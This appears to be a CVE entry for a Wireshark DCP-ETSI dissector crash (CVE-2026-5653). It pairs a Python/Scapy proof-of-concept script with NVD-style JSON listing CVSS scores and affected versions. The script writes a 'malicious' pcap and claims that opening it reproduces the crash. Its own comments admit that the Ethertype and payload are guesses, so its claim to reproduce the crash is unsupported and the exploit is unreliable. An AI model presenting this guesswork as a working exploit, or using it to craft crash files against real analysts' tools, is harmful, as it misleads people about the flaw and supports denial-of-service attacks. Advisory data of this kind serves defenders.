CVE-2026-5653

#!/usr/bin/env python3 # PoC for CVE-2026-5653 (Conceptual) # This script generates a malformed packet that may crash the DCP-ETSI dissector. # Note: The exact protocol structure of DCP-ETSI is proprietary/complex. # This is a demonstration of how a malformed packet is crafted. from scapy.all import * import sys # Define a custom Ethernet type for DCP-ETSI (Assumption for PoC) # In reality, one would need to identify the correct Ethertype or LLC/SNAP identifier. DCP_ETSI_ETHERTYPE = 0x88E5 # Example Ethertype, adjust based on actual spec # Create a malicious payload designed to trigger the crash # Based on the CVE, it's likely a length mismatch or invalid index. malicious_payload = b"\x00" * 10 + b"\xff" * 2 + b"\x41" * 200 # Craft the packet packet = Ether(dst="01:00:5e:00:00:01", src="00:11:22:33:44:55", type=DCP_ETSI_ETHERTYPE) / Raw(load=malicious_payload) # Save to pcap wrpcap("cve_2026_5653_poc.pcap", [packet]) print("[+] Malicious pcap file generated: cve_2026_5653_poc.pcap") print("[+] Open this file in Wireshark 4.6.0-4.6.4 or 4.4.0-4.4.14 to reproduce the crash.")

{"cve": {"id": "CVE-2026-5653", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:38.520", "lastModified": "2026-05-01T17:04:57.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DCP-ETSI protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21122", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-22.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21122", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}